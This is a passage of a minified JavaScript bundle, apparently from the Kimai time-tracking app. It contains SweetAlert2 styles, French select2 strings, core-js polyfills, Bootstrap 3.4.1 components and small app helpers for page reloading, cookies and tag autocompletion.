(-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}')},PWE2:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/fr",[],(function(){return{errorLoading:function(){return"Les résultats ne peuvent pas être chargés."},inputTooLong:function(t){var e=t.input.length-t.maximum;return"Supprimez "+e+" caractère"+(e>1?"s":"")},inputTooShort:function(t){var e=t.minimum-t.input.length;return"Saisissez au moins "+e+" caractère"+(e>1?"s":"")},loadingMore:function(){return"Chargement de résultats supplémentaires…"},maximumSelected:function(t){return"Vous pouvez seulement sélectionner "+t.maximum+" élément"+(t.maximum>1?"s":"")},noResults:function(){return"Aucun résultat trouvé"},searching:function(){return"Recherche en cours…"},removeAllItems:function(){return"Supprimer tous les éléments"}}})),e.define,e.require}()}).call(this,n("EVdn"))},QWBl:function(t,e,n){"use strict";var i=n("I+eb"),r=n("F8JR");i({target:"Array",proto:!0,forced:[].forEach!=r},{forEach:r})},QZse:function(t,e,n){"use strict";n.r(e),n.d(e,"default",(function(){return l}));n("rB9j"),n("EnZy"),n("fbCW"),n("eoL8"),n("+2oP"),n("07d7"),n("sMBO"),n("pjDv"),n("PKPk"),n("pNMO"),n("4Brf"),n("0oug"),n("4mDm"),n("3bBZ"),n("J30X");var i=n("EVdn"),r=n.n(i);function o(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return a(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return a(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,s=!0,l=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return s=t.done,t},e:function(t){l=!0,o=t},f:function(){try{s||null==n.return||n.return()}finally{if(l)throw o}}}}function a(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function s(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var l=function(){function t(e,n){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),this.overlay=r()('<div class="overlay-wrapper"><div class="overlay"><div class="fas fa-sync fa-spin"></div></div></div>'),this.widget=r()("div.content-wrapper");var i,a=this,s=function(t){n?document.location.reload(!0):a.loadPage(document.location)},l=o(e.split(" "));try{for(l.s();!(i=l.n()).done;){var c=i.value;document.addEventListener(c,s)}}catch(t){l.e(t)}finally{l.f()}}var e,n,i;return e=t,i=[{key:"create",value:function(e,n){return null==n&&(n=!1),new t(e,n)}}],(n=[{key:"_showOverlay",value:function(){this.widget.append(this.overlay)}},{key:"_hideOverlay",value:function(){r()(this.overlay).remove()}},{key:"loadPage",value:function(t){var e=this;e._showOverlay(),r.a.ajax({url:t,data:{},success:function(t){r()("section.content").replaceWith(r()(t).find("section.content")),document.dispatchEvent(new Event("kimai.reloadPage")),e._hideOverlay()},dataType:"html",error:function(n,i,r){e._hideOverlay(),document.location=t}})}}])&&s(e.prototype,n),i&&s(e,i),t}()},Qiut:function(t,e,n){},Qo9l:function(t,e,n){var i=n("2oRo");t.exports=i},R5XZ:function(t,e,n){var i=n("I+eb"),r=n("2oRo"),o=n("NC/Y"),a=[].slice,s=function(t){return function(e,n){var i=arguments.length>2,r=i?a.call(arguments,2):void 0;return t(i?function(){("function"==typeof e?e:Function(e)).apply(this,r)}:e,n)}};i({global:!0,bind:!0,forced:/MSIE .\./.test(o)},{setTimeout:s(r.setTimeout),setInterval:s(r.setInterval)})},RK3t:function(t,e,n){var i=n("0Dky"),r=n("xrYK"),o="".split;t.exports=i((function(){return!Object("z").propertyIsEnumerable(0)}))?function(t){return"String"==r(t)?o.call(t,""):Object(t)}:Object},RNIs:function(t,e,n){var i=n("tiKp"),r=n("fHMY"),o=n("m/L8"),a=i("unscopables"),s=Array.prototype;null==s[a]&&o.f(s,a,{configurable:!0,value:r(null)}),t.exports=function(t){s[a][t]=!0}},ROdP:function(t,e,n){var i=n("hh1v"),r=n("xrYK"),o=n("tiKp")("match");t.exports=function(t){var e;return i(t)&&(void 0!==(e=t[o])?!!e:"RegExp"==r(t))}},Rm1S:function(t,e,n){"use strict";var i=n("14Sl"),r=n("glrk"),o=n("UMSQ"),a=n("HYAF"),s=n("iqWW"),l=n("FMNM");i("match",1,(function(t,e,n){return[function(e){var n=a(this),i=null==e?void 0:e[t];return void 0!==i?i.call(e,n):new RegExp(e)[t](String(n))},function(t){var i=n(e,t,this);if(i.done)return i.value;var a=r(t),c=String(this);if(!a.global)return l(a,c);var u=a.unicode;a.lastIndex=0;for(var d,f=[],h=0;null!==(d=l(a,c));){var p=String(d[0]);f[h]=p,""===p&&(a.lastIndex=s(c,o(a.lastIndex),u)),h++}return 0===h?null:f}]}))},SEBh:function(t,e,n){var i=n("glrk"),r=n("HAuM"),o=n("tiKp")("species");t.exports=function(t,e){var n,a=i(t).constructor;return void 0===a||null==(n=i(a)[o])?e:r(n)}},STAE:function(t,e,n){var i=n("YF1G"),r=n("LQDL"),o=n("0Dky");t.exports=!!Object.getOwnPropertySymbols&&!o((function(){return!Symbol.sham&&(i?38===r:r>37&&r<41)}))},SYor:function(t,e,n){"use strict";var i=n("I+eb"),r=n("WKiH").trim;i({target:"String",proto:!0,forced:n("yNLB")("trim")},{trim:function(){return r(this)}})},SuFq:function(t,e,n){var i=n("I+eb"),r=n("0GbY"),o=n("HAuM"),a=n("glrk"),s=n("hh1v"),l=n("fHMY"),c=n("BTho"),u=n("0Dky"),d=r("Reflect","construct"),f=u((function(){function t(){}return!(d((function(){}),[],t)instanceof t)})),h=!u((function(){d((function(){}))})),p=f||h;i({target:"Reflect",stat:!0,forced:p,sham:p},{construct:function(t,e){o(t),a(e);var n=arguments.length<3?t:o(arguments[2]);if(h&&!f)return d(t,e,n);if(t==n){switch(e.length){case 0:return new t;case 1:return new t(e[0]);case 2:return new t(e[0],e[1]);case 3:return new t(e[0],e[1],e[2]);case 4:return new t(e[0],e[1],e[2],e[3])}var i=[null];return i.push.apply(i,e),new(c.apply(t,i))}var r=n.prototype,u=l(s(r)?r:Object.prototype),p=Function.apply.call(t,u,e);return s(p)?p:u}})},T63A:function(t,e,n){var i=n("I+eb"),r=n("b1O7").entries;i({target:"Object",stat:!0},{entries:function(t){return r(t)}})},TO6f:function(t,e,n){"use strict";n.r(e),n.d(e,"default",(function(){return a}));n("eoL8");var i=n("p46w"),r=n.n(i);function o(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var a=function(){function t(){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t)}var e,n,i;return e=t,i=[{key:"set",value:function(t,e,n){r.a.set(t,e,n)}},{key:"get",value:function(t){return r.a.getJSON(t)}},{key:"remove",value:function(t){r.a.remove(t)}}],(n=null)&&o(e.prototype,n),i&&o(e,i),t}()},TWQb:function(t,e,n){var i=n("/GqU"),r=n("UMSQ"),o=n("I8vh"),a=function(t){return function(e,n,a){var s,l=i(e),c=r(l.length),u=o(a,c);if(t&&n!=n){for(;c>u;)if((s=l[u++])!=s)return!0}else for(;c>u;u++)if((t||u in l)&&l[u]===n)return t||u||0;return!t&&-1}};t.exports={includes:a(!0),indexOf:a(!1)}},TX00:function(t,e,n){"use strict";(function(t){n.d(e,"a",(function(){return d}));n("rB9j"),n("EnZy"),n("yq1k"),n("JTJg"),n("oVuX"),n("ExoC"),n("NBAS"),n("SuFq"),n("uL8W"),n("eoL8"),n("pNMO"),n("4Brf"),n("07d7"),n("0oug"),n("4mDm"),n("PKPk"),n("3bBZ");var i=n("EVdn"),r=n.n(i);function o(t){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e){return(s=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function l(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=u(t);if(e){var r=u(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return c(this,n)}}function c(t,e){return!e||"object"!==o(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function u(t){return(u=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var d=function(e){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&s(t,e)}(u,e);var n,i,o,c=l(u);function u(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,u),(e=c.call(this)).selector=t,e}return n=u,(i=[{key:"init",value:function(){this.minChars=this.getConfiguration("autoComplete")}},{key:"getId",value:function(){return"autocomplete"}},{key:"splitTagList",value:function(t){return t.split(/,\s*/)}},{key:"extractLastTag",value:function(t){return this.splitTagList(t).pop()}},{key:"activateAutocomplete",value:function(e){var n=this;r()(e+" "+this.selector).each((function(e){var i=r()(this),o=i.attr("data-autocomplete-url"),a=n.getContainer().getPlugin("api");i.on("keydown",(function(t){t.keyCode===r.a.ui.keyCode.TAB&&r()(this).autocomplete("instance").menu.active&&t.preventDefault()})).autocomplete({source:function(t,e){var i=n.extractLastTag(t.term);a.get(o,{name:i},(function(t){e(t)}))},search:function(){if(n.extractLastTag(this.value).length<n.minChars)return!1},focus:function(){return!1},select:function(e,i){var r=n.splitTagList(this.value);return r.pop(),r.includes(i.item.value)||r.push(i.item.value),r.push(""),this.value=r.join(", "),t(this).trigger("change"),!1}})}))}},{key:"destroyAutocomplete",value:function(t){r()(t+" "+this.selector).each((function(t){var e=r()(this);e.autocomplete("destroy"),e.removeData("autocomplete")}))}}])&&a(n.prototype,i),o&&a(n,o),u}(n("dQ1+").a)}).call(this,n("EVdn"))},TeQF:function(t,e,n){"use strict";var i=n("I+eb"),r=n("tycR").filter;i({target:"Array",proto:!0,forced:!n("Hd5f")("filter")},{filter:function(t){return r(this,t,arguments.length>1?arguments[1]:void 0)}})},TfTi:function(t,e,n){"use strict";var i=n("A2ZE"),r=n("ewvW"),o=n("m92n"),a=n("6VoE"),s=n("UMSQ"),l=n("hBjN"),c=n("NaFW");t.exports=function(t){var e,n,u,d,f,h,p=r(t),m="function"==typeof this?this:Array,g=arguments.length,y=g>1?arguments[1]:void 0,v=void 0!==y,b=c(p),w=0;if(v&&(y=i(y,g>2?arguments[2]:void 0,2)),null==b||m==Array&&a(b))for(n=new m(e=s(p.length));e>w;w++)h=v?y(p[w],w):p[w],l(n,w,h);else for(f=(d=b.call(p)).next,n=new m;!(u=f.call(d)).done;w++)h=v?o(d,y,[u.value,w],!0):u.value,l(n,w,h);return n.length=w,n}},ToJy:function(t,e,n){"use strict";var i=n("I+eb"),r=n("HAuM"),o=n("ewvW"),a=n("0Dky"),s=n("pkCn"),l=[],c=l.sort,u=a((function(){l.sort(void 0)})),d=a((function(){l.sort(null)})),f=s("sort");i({target:"Array",proto:!0,forced:u||!d||!f},{sort:function(t){return void 0===t?c.call(o(this)):c.call(o(this),r(t))}})},UMSQ:function(t,e,n){var i=n("ppGB"),r=Math.min;t.exports=function(t){return t>0?r(i(t),9007199254740991):0}},UTVS:function(t,e){var n={}.hasOwnProperty;t.exports=function(t,e){return n.call(t,e)}},UxlC:function(t,e,n){"use strict";var i=n("14Sl"),r=n("glrk"),o=n("UMSQ"),a=n("ppGB"),s=n("HYAF"),l=n("iqWW"),c=n("DLK6"),u=n("FMNM"),d=Math.max,f=Math.min;i("replace",2,(function(t,e,n,i){var h=i.REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE,p=i.REPLACE_KEEPS_$0,m=h?"$":"$0";return[function(n,i){var r=s(this),o=null==n?void 0:n[t];return void 0!==o?o.call(n,r,i):e.call(String(r),n,i)},function(t,i){if(!h&&p||"string"==typeof i&&-1===i.indexOf(m)){var s=n(e,t,this,i);if(s.done)return s.value}var g=r(t),y=String(this),v="function"==typeof i;v||(i=String(i));var b=g.global;if(b){var w=g.unicode;g.lastIndex=0}for(var _=[];;){var k=u(g,y);if(null===k)break;if(_.push(k),!b)break;""===String(k[0])&&(g.lastIndex=l(y,o(g.lastIndex),w))}for(var x,S="",D=0,M=0;M<_.length;M++){k=_[M];for(var T=String(k[0]),C=d(f(a(k.index),y.length),0),L=[],O=1;O<k.length;O++)L.push(void 0===(x=k[O])?x:String(x));var E=k.groups;if(v){var P=[T].concat(L,C,y);void 0!==E&&P.push(E);var A=String(i.apply(void 0,P))}else A=c(T,y,C,L,E,i);C>=D&&(S+=y.slice(D,C)+A,D=C+T.length)}return S+y.slice(D)}]}))},"VSY+":function(t,e,n){(function(t){if(void 0===t)throw new Error("Bootstrap's JavaScript requires jQuery");!function(t){"use strict";var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1==e[0]&&9==e[1]&&e[2]<1||e[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(t),function(t){"use strict";t.fn.emulateTransitionEnd=function(e){var n=!1,i=this;t(this).one("bsTransitionEnd",(function(){n=!0}));return setTimeout((function(){n||t(i).trigger(t.support.transition.end)}),e),this},t((function(){t.support.transition=function(){var t=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var n in e)if(void 0!==t.style[n])return{end:e[n]};return!1}(),t.support.transition&&(t.event.special.bsTransitionEnd={bindType:t.support.transition.end,delegateType:t.support.transition.end,handle:function(e){if(t(e.target).is(this))return e.handleObj.handler.apply(this,arguments)}})}))}(t),function(t){"use strict";var e='[data-dismiss="alert"]',n=function(n){t(n).on("click",e,this.close)};n.VERSION="3.4.1",n.TRANSITION_DURATION=150,n.prototype.close=function(e){var i=t(this),r=i.attr("data-target");r||(r=(r=i.attr("href"))&&r.replace(/.*(?=#[^\s]*$)/,"")),r="#"===r?[]:r;var o=t(document).find(r);function a(){o.detach().trigger("closed.bs.alert").remove()}e&&e.preventDefault(),o.length||(o=i.closest(".alert")),o.trigger(e=t.Event("close.bs.alert")),e.isDefaultPrevented()||(o.removeClass("in"),t.support.transition&&o.hasClass("fade")?o.one("bsTransitionEnd",a).emulateTransitionEnd(n.TRANSITION_DURATION):a())};var i=t.fn.alert;t.fn.alert=function(e){return this.each((function(){var i=t(this),r=i.data("bs.alert");r||i.data("bs.alert",r=new n(this)),"string"==typeof e&&r[e].call(i)}))},t.fn.alert.Constructor=n,t.fn.alert.noConflict=function(){return t.fn.alert=i,this},t(document).on("click.bs.alert.data-api",e,n.prototype.close)}(t),function(t){"use strict";var e=function(n,i){this.$element=t(n),this.options=t.extend({},e.DEFAULTS,i),this.isLoading=!1};function n(n){return this.each((function(){var i=t(this),r=i.data("bs.button"),o="object"==typeof n&&n;r||i.data("bs.button",r=new e(this,o)),"toggle"==n?r.toggle():n&&r.setState(n)}))}e.VERSION="3.4.1",e.DEFAULTS={loadingText:"loading..."},e.prototype.setState=function(e){var n="disabled",i=this.$element,r=i.is("input")?"val":"html",o=i.data();e+="Text",null==o.resetText&&i.data("resetText",i[r]()),setTimeout(t.proxy((function(){i[r](null==o[e]?this.options[e]:o[e]),"loadingText"==e?(this.isLoading=!0,i.addClass(n).attr(n,n).prop(n,!0)):this.isLoading&&(this.isLoading=!1,i.removeClass(n).removeAttr(n).prop(n,!1))}),this),0)},e.prototype.toggle=function(){var t=!0,e=this.$element.closest('[data-toggle="buttons"]');if(e.length){var n=this.$element.find("input");"radio"==n.prop("type")?(n.prop("checked")&&(t=!1),e.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==n.prop("type")&&(n.prop("checked")!==this.$element.hasClass("active")&&(t=!1),this.$element.toggleClass("active")),n.prop("checked",this.$element.hasClass("active")),t&&n.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var i=t.fn.button;t.fn.button=n,t.fn.button.Constructor=e,t.fn.button.noConflict=function(){return t.fn.button=i,this},t(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(e){var i=t(e.target).closest(".btn");n.call(i,"toggle"),t(e.target).is('input[type="radio"], input[type="checkbox"]')||(e.preventDefault(),i.is("input,button")?i.trigger("focus"):i.find("input:visible,button:visible").first().trigger("focus"))})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(e){t(e.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(e.type))}))}(t),function(t){"use strict";var e=function(e,n){this.$element=t(e),this.$indicators=this.$element.find(".carousel-indicators"),this.options=n,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",t.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",t.proxy(this.pause,this)).on("mouseleave.bs.carousel",t.proxy(this.cycle,this))};function n(n){return this.each((function(){var i=t(this),r=i.data("bs.carousel"),o=t.extend({},e.DEFAULTS,i.data(),"object"==typeof n&&n),a="string"==typeof n?n:o.slide;r||i.data("bs.carousel",r=new e(this,o)),"number"==typeof n?r.to(n):a?r[a]():o.interval&&r.pause().cycle()}))}e.VERSION="3.4.1",e.TRANSITION_DURATION=600,e.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},e.prototype.keydown=function(t){if(!/input|textarea/i.test(t.target.tagName)){switch(t.which){case 37:this.prev();break;case 39:this.next();break;default:return}t.preventDefault()}},e.prototype.cycle=function(e){return e||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(t.proxy(this.next,this),this.options.interval)),this},e.prototype.getItemIndex=function(t){return this.$items=t.parent().children(".item"),this.$items.index(t||this.$active)},e.prototype.getItemForDirection=function(t,e){var n=this.getItemIndex(e);if(("prev"==t&&0===n||"next"==t&&n==this.$items.length-1)&&!this.options.wrap)return e;var i=(n+("prev"==t?-1:1))%this.$items.length;return this.$items.eq(i)},e.prototype.to=function(t){var e=this,n=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(t>this.$items.length-1||t<0))return this.sliding?this.$element.one("slid.bs.carousel",(function(){e.to(t)})):n==t?this.pause().cycle():this.slide(t>n?"next":"prev",this.$items.eq(t))},e.prototype.pause=function(e){return e||(this.paused=!0),this.$element.find(".next, .prev").length&&t.support.transition&&(this.$element.trigger(t.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},e.prototype.next=function(){if(!this.sliding)return this.slide("next")},e.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},e.prototype.slide=function(n,i){var r=this.$element.find(".item.active"),o=i||this.getItemForDirection(n,r),a=this.interval,s="next"==n?"left":"right",l=this;if(o.hasClass("active"))return this.sliding=!1;var c=o[0],u=t.Event("slide.bs.carousel",{relatedTarget:c,direction:s});if(this.$element.trigger(u),!u.isDefaultPrevented()){if(this.sliding=!0,a&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var d=t(this.$indicators.children()[this.getItemIndex(o)]);d&&d.addClass("active")}var f=t.Event("slid.bs.carousel",{relatedTarget:c,direction:s});return t.support.transition&&this.$element.hasClass("slide")?(o.addClass(n),"object"==typeof o&&o.length&&o[0].offsetWidth,r.addClass(s),o.addClass(s),r.one("bsTransitionEnd",(function(){o.removeClass([n,s].join(" ")).addClass("active"),r.removeClass(["active",s].join(" ")),l.sliding=!1,setTimeout((function(){l.$element.trigger(f)}),0)})).emulateTransitionEnd(e.TRANSITION_DURATION)):(r.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger(f)),a&&this.cycle(),this}};var i=t.fn.carousel;t.fn.carousel=n,t.fn.carousel.Constructor=e,t.fn.carousel.noConflict=function(){return t.fn.carousel=i,this};var r=function(e){var i=t(this),r=i.attr("href");r&&(r=r.replace(/.*(?=#[^\s]+$)/,""));var o=i.attr("data-target")||r,a=t(document).find(o);if(a.hasClass("carousel")){var s=t.extend({},a.data(),i.data()),l=i.attr("data-slide-to");l&&(s.interval=!1),n.call(a,s),l&&a.data("bs.carousel").to(l),e.preventDefault()}};t(document).on("click.bs.carousel.data-api","[data-slide]",r).on("click.bs.carousel.data-api","[data-slide-to]",r),t(window).on("load",(function(){t('[data-ride="carousel"]').each((function(){var e=t(this);n.call(e,e.data())}))}))}(t),function(t){"use strict";var e=function(n,i){this.$element=t(n),this.options=t.extend({},e.DEFAULTS,i),this.$trigger=t('[data-toggle="collapse"][href="#'+n.id+'"],[data-toggle="collapse"][data-target="#'+n.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};function n(e){var n,i=e.attr("data-target")||(n=e.attr("href"))&&n.replace(/.*(?=#[^\s]+$)/,"");return t(document).find(i)}function i(n){return this.each((function(){var 